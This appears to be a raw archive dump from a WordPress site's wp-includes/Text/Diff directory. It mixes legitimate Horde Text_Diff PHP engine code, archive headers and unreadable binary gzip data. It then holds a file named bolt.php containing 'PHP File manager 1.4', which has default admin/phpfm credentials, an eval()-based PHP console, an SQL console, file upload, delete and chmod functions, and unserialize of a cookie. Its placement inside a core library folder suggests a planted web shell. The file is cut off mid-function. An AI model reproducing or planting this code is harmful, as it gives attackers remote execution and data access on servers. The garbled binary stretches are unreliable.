 * Some ideas (subdivision by NCHUNKS > 2, and some optimizations) are from
 * Geoffrey T. Dairiki <dairiki@dairiki.org>. The original PHP version of this
 * code was written by him, and is used/adapted with his permission.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_native {

    public $xchanged;
    public $ychanged;
    public $xv;
    public $yv;
    public $xind;
    public $yind;
    public $seq;
    public $in_seq;
    public $lcs;

    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $n_from = count($from_lines);
        $n_to = count($to_lines);

        $this->xchanged = $this->ychanged = array();
        $this->xv = $this->yv = array();
        $this->xind = $this->yind = array();
        unset($this->seq);
        unset($this->in_seq);
        unset($this->lcs);

        // Skip leading common lines.
        for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) {
            if ($from_lines[$skip] !== $to_lines[$skip]) {
                break;
            }
            $this->xchanged[$skip] = $this->ychanged[$skip] = false;
        }

        // Skip trailing common lines.
        $xi = $n_from; $yi = $n_to;
        for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) {
            if ($from_lines[$xi] !== $to_lines[$yi]) {
                break;
            }
            $this->xchanged[$xi] = $this->ychanged[$yi] = false;
        }

        // Ignore lines which do not exist in both files.
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $xhash[$from_lines[$xi]] = 1;
        }
        for ($yi = $skip; $yi < $n_to - $endskip; $yi++) {
            $line = $to_lines[$yi];
            if (($this->ychanged[$yi] = empty($xhash[$line]))) {
                continue;
            }
            $yhash[$line] = 1;
            $this->yv[] = $line;
            $this->yind[] = $yi;
        }
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $line = $from_lines[$xi];
            if (($this->xchanged[$xi] = empty($yhash[$line]))) {
                continue;
            }
            $this->xv[] = $line;
            $this->xind[] = $xi;
        }

        // Find the LCS.
        $this->_compareseq(0, count($this->xv), 0, count($this->yv));

        // Merge edits when possible.
        $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged);
        $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged);

        // Compute the edit operations.
        $edits = array();
        $xi = $yi = 0;
        while ($xi < $n_from || $yi < $n_to) {
            assert($yi < $n_to || $this->xchanged[$xi]);
            assert($xi < $n_from || $this->ychanged[$yi]);

            // Skip matching "snake".
            $copy = array();
            while ($xi < $n_from && $yi < $n_to
                   && !$this->xchanged[$xi] && !$this->ychanged[$yi]) {
                $copy[] = $from_lines[$xi++];
                ++$yi;
            }
            if ($copy) {
                $edits[] = new Text_Diff_Op_copy($copy);
            }

            // Find deletes & adds.
            $delete = array();
            while ($xi < $n_from && $this->xchanged[$xi]) {
                $delete[] = $from_lines[$xi++];
            }

            $add = array();
            while ($yi < $n_to && $this->ychanged[$yi]) {
                $add[] = $to_lines[$yi++];
            }

            if ($delete && $add) {
                $edits[] = new Text_Diff_Op_change($delete, $add);
            } elseif ($delete) {
                $edits[] = new Text_Diff_Op_delete($delete);
            } elseif ($add) {
                $edits[] = new Text_Diff_Op_add($add);
            }
        }

        return $edits;
    }

    /**
     * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF,
     * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized
     * segments.
     *
     * Returns (LCS, PTS).  LCS is the length of the LCS. PTS is an array of
     * NCHUNKS+1 (X, Y) indexes giving the diving points between sub
     * sequences.  The first sub-sequence is contained in (X0, X1), (Y0, Y1),
     * the second in (X1, X2), (Y1, Y2) and so on.  Note that (X0, Y0) ==
     * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM).
     *
     * This function assumes that the first lines of the specified portions of
     * the two files do not match, and likewise that the last lines do not
     * match.  The caller must trim matching lines from the beginning and end
     * of the portions it is going to specify.
     */
    function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks)
    {
        $flip = false;

        if ($xlim - $xoff > $ylim - $yoff) {
            /* Things seems faster (I'm not sure I understand why) when the
             * shortest sequence is in X. */
            $flip = true;
            list ($xoff, $xlim, $yoff, $ylim)
                = array($yoff, $ylim, $xoff, $xlim);
        }

        if ($flip) {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->xv[$i]][] = $i;
            }
        } else {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->yv[$i]][] = $i;
            }
        }

        $this->lcs = 0;
        $this->seq[0]= $yoff - 1;
        $this->in_seq = array();
        $ymids[0] = array();

        $numer = $xlim - $xoff + $nchunks - 1;
        $x = $xoff;
        for ($chunk = 0; $chunk < $nchunks; $chunk++) {
            if ($chunk > 0) {
                for ($i = 0; $i <= $this->lcs; $i++) {
                    $ymids[$i][$chunk - 1] = $this->seq[$i];
                }
            }

            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks);
            for (; $x < $x1; $x++) {
                $line = $flip ? $this->yv[$x] : $this->xv[$x];
                if (empty($ymatches[$line])) {
                    continue;
                }
                $matches = $ymatches[$line];
                reset($matches);
                while ($y = current($matches)) {
                    if (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                        break;
                    }
                    next($matches);
                }
                while ($y = current($matches)) {
                    if ($y > $this->seq[$k - 1]) {
                        assert($y <= $this->seq[$k]);
                        /* Optimization: this is a common case: next match is
                         * just replacing previous match. */
                        $this->in_seq[$this->seq[$k]] = false;
                        $this->seq[$k] = $y;
                        $this->in_seq[$y] = 1;
                    } elseif (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                    }
                    next($matches);
                }
            }
        }

        $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff);
        $ymid = $ymids[$this->lcs];
        for ($n = 0; $n < $nchunks - 1; $n++) {
            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks);
            $y1 = $ymid[$n] + 1;
            $seps[] = $flip ? array($y1, $x1) : array($x1, $y1);
        }
        $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim);

        return array($this->lcs, $seps);
    }

    function _lcsPos($ypos)
    {
        $end = $this->lcs;
        if ($end == 0 || $ypos > $this->seq[$end]) {
            $this->seq[++$this->lcs] = $ypos;
            $this->in_seq[$ypos] = 1;
            return $this->lcs;
        }

        $beg = 1;
        while ($beg < $end) {
            $mid = (int)(($beg + $end) / 2);
            if ($ypos > $this->seq[$mid]) {
                $beg = $mid + 1;
            } else {
                $end = $mid;
            }
        }

        assert($ypos != $this->seq[$end]);

        $this->in_seq[$this->seq[$end]] = false;
        $this->seq[$end] = $ypos;
        $this->in_seq[$ypos] = 1;
        return $end;
    }

    /**
     * Finds LCS of two sequences.
     *
     * The results are recorded in the vectors $this->{x,y}changed[], by
     * storing a 1 in the element for each line that is an insertion or
     * deletion (ie. is not in the LCS).
     *
     * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1.
     *
     * Note that XLIM, YLIM are exclusive bounds.  All line numbers are
     * origin-0 and discarded lines are not counted.
     */
    function _compareseq ($xoff, $xlim, $yoff, $ylim)
    {
        /* Slide down the bottom initial diagonal. */
        while ($xoff < $xlim && $yoff < $ylim
               && $this->xv[$xoff] == $this->yv[$yoff]) {
            ++$xoff;
            ++$yoff;
        }

        /* Slide up the top initial diagonal. */
        while ($xlim > $xoff && $ylim > $yoff
               && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) {
            --$xlim;
            --$ylim;
        }

        if ($xoff == $xlim || $yoff == $ylim) {
            $lcs = 0;
        } else {
            /* This is ad hoc but seems to work well.  $nchunks =
             * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks =
             * max(2,min(8,(int)$nchunks)); */
            $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1;
            list($lcs, $seps)
                = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks);
        }

        if ($lcs == 0) {
            /* X and Y sequences have no common subsequence: mark all
             * changed. */
            while ($yoff < $ylim) {
                $this->ychanged[$this->yind[$yoff++]] = 1;
            }
            while ($xoff < $xlim) {
                $this->xchanged[$this->xind[$xoff++]] = 1;
            }
        } else {
            /* Use the partitions to split this problem into subproblems. */
            reset($seps);
            $pt1 = $seps[0];
            while ($pt2 = next($seps)) {
                $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]);
                $pt1 = $pt2;
            }
        }
    }

    /**
     * Adjusts inserts/deletes of identical lines to join changes as much as
     * possible.
     *
     * We do something when a run of changed lines include a line at one end
     * and has an excluded, identical line at the other.  We are free to
     * choose which identical line is included.  `compareseq' usually chooses
     * the one at the beginning, but usually it is cleaner to consider the
     * following identical line to be the "change".
     *
     * This is extracted verbatim from analyze.c (GNU diffutils-2.7).
     */
    function _shiftBoundaries($lines, &$changed, $other_changed)
    {
        $i = 0;
        $j = 0;

        assert(count($lines) == count($changed));
        $len = count($lines);
        $other_len = count($other_changed);

        while (1) {
            /* Scan forward to find the beginning of another run of
             * changes. Also keep track of the corresponding point in the
             * other file.
             *
             * Throughout this code, $i and $j are adjusted together so that
             * the first $i elements of $changed and the first $j elements of
             * $other_changed both contain the same number of zeros (unchanged
             * lines).
             *
             * Furthermore, $j is always kept so that $j == $other_len or
             * $other_changed[$j] == false. */
            while ($j < $other_len && $other_changed[$j]) {
                $j++;
            }

            while ($i < $len && ! $changed[$i]) {
                assert($j < $other_len && ! $other_changed[$j]);
                $i++; $j++;
                while ($j < $other_len && $other_changed[$j]) {
                    $j++;
                }
            }

            if ($i == $len) {
                break;
            }

            $start = $i;

            /* Find the end of this run of changes. */
            while (++$i < $len && $changed[$i]) {
                continue;
            }

            do {
                /* Record the length of this run of changes, so that we can
                 * later determine whether the run has grown. */
                $runlength = $i - $start;

                /* Move the changed region back, so long as the previous
                 * unchanged line matches the last changed one.  This merges
                 * with previous changed regions. */
                while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) {
                    $changed[--$start] = 1;
                    $changed[--$i] = false;
                    while ($start > 0 && $changed[$start - 1]) {
                        $start--;
                    }
                    assert($j > 0);
                    while ($other_changed[--$j]) {
                        continue;
                    }
                    assert($j >= 0 && !$other_changed[$j]);
                }

                /* Set CORRESPONDING to the end of the changed run, at the
                 * last point where it corresponds to a changed run in the
                 * other file. CORRESPONDING == LEN means no such point has
                 * been found. */
                $corresponding = $j < $other_len ? $i : $len;

                /* Move the changed region forward, so long as the first
                 * changed line matches the following unchanged one.  This
                 * merges with following changed regions.  Do this second, so
                 * that if there are no merges, the changed region is moved
                 * forward as far as possible. */
                while ($i < $len && $lines[$start] == $lines[$i]) {
                    $changed[$start++] = false;
                    $changed[$i++] = 1;
                    while ($i < $len && $changed[$i]) {
                        $i++;
                    }

                    assert($j < $other_len && ! $other_changed[$j]);
                    $j++;
                    if ($j < $other_len && $other_changed[$j]) {
                        $corresponding = $i;
                        while ($j < $other_len && $other_changed[$j]) {
                            $j++;
                        }
                    }
                }
            } while ($runlength != $i - $start);

            /* If possible, move the fully-merged run of changes back to a
             * corresponding run in the other file. */
            while ($corresponding < $i) {
                $changed[--$start] = 1;
                $changed[--$i] = 0;
                assert($j > 0);
                while ($other_changed[--$j]) {
                    continue;
                }
                assert($j >= 0 && !$other_changed[$j]);
            }
        }
    }

}
PK     |\@[    	  xdiff.phpnu [        <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the xdiff PECL package (http://pecl.php.net/package/xdiff)
 * to compute the differences between the two input arrays.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Jon Parise <jon@horde.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_xdiff {

    /**
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        /* Convert the two input arrays into strings for xdiff processing. */
        $from_string = implode("\n", $from_lines);
        $to_string = implode("\n", $to_lines);

        /* Diff the two strings and convert the result to an array. */
        $diff = xdiff_string_diff($from_string, $to_string, count($to_lines));
        $diff = explode("\n", $diff);

        /* Walk through the diff one line at a time.  We build the $edits
         * array of diff operations by reading the first character of the
         * xdiff output (which is in the "unified diff" format).
         *
         * Note that we don't have enough information to detect "changed"
         * lines using this approach, so we can't add Text_Diff_Op_changed
         * instances to the $edits array.  The result is still perfectly
         * valid, albeit a little less descriptive and efficient. */
        $edits = array();
        foreach ($diff as $line) {
            if (!strlen($line)) {
                continue;
            }
            switch ($line[0]) {
            case ' ':
                $edits[] = new Text_Diff_Op_copy(array(substr($line, 1)));
                break;

            case '+':
                $edits[] = new Text_Diff_Op_add(array(substr($line, 1)));
                break;

            case '-':
                $edits[] = new Text_Diff_Op_delete(array(substr($line, 1)));
                break;
            }
        }

        return $edits;
    }

}
PK       |\Eћ      
                string.phpnu [        PK       |\S  S  	               shell.phpnu [        PK       |\'5>  >  
            a5  native.phpnu [        PK       |\@[    	            Lt  xdiff.phpnu [        PK      &   }                                                                                                                                                                                                                                                                                                                                                                                                                                        Renderer/Renderer.php.php.tar.gz                                                                    0000644                 00000003670 15217306007 0012572 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Ymo6W\R۲&im-ѱY$*ZdYouao(?4D>w]%}103]ȥo¡8~~ơ8G<VcAxr;!>x;I,Y&[ر:OY,e</ ?`	s-Gּ[xYWiz9^:<BL\C88>k<A1CGE"dչȻ\H=BD.H	mVтތDti[gU(эs8s)o:2O╅1!	V $p0	k 1 btB%^lۿpbg=	s.9ЖRѼϦ6OP)(ϙō]xKytGfUX;^w)K>K`>H(NI,'3ǰd)Z̥^AE#f~̪^S8;U	["Lx.XF#E	5OG`>tC%a(biK:q,MeY'U^[4؛`doUP0[Dӆ6qn;n;byxqq NbbGdk6[ng'訖?븳s[IsL2R#c5Kru=L@[xɪdXr 1#j%ʭ~9ȎyS?u,+r(ݫp^Km=
`b}PmNjѐc@;ߚs°.<UoGsf#CKDgLC*tT%7şҿ5	ݙ/d1?.T|7ӪB/A{^`z)ЁP$MW\SlN\-Ow=Y.{MH<SY];"ku{ͅϤ87q/?HˇAsHXMe0Qlhyf Ƽ	ӫ; UH)geKEk$tԢ/
#ga2"FWa NHj0}=:E(:<YDj
I^V3#wfPVpxQS+٣0c%"M$|e]yrA)/~CV<$@:}Z#WїlS7[L ƃzrr5We3k-8m5D
W&h-ʧ~f5a;6MTA_s8U w?e2ajQSE}i9)Ich/JP"MQќZHCUGv6xiVTJBRG",-mXM[킬p*=eӵͪ{mBߙ;^<tj[da~6%ܹZ),-m:ψKE"L5}e$Ŧ,Yq fy@o@W.W9jmXŮx*kvc<i5
-ЅLZ$:寧vR0]Q6li2*Nn[E}%ogWuh5dKe.q.х۴M
7>0^|qݖ[)L*F0uo@8iXxolhd SAm[LdnxE^3='&Α`M5;AQKkXPWf,zNod=gFڃ1ҸP9m(vvKTkJ[wݚ{7$1sF-C_~vwsԓe?l(6asQ3r=wE7SHp8De(("+m|Ʒ1 "                                                                          Renderer/bolt.php.tar                                                                               0000644                 00000236000 15217306007 0010552 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php                                 0000644                 00000232745 15217274105 0021423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
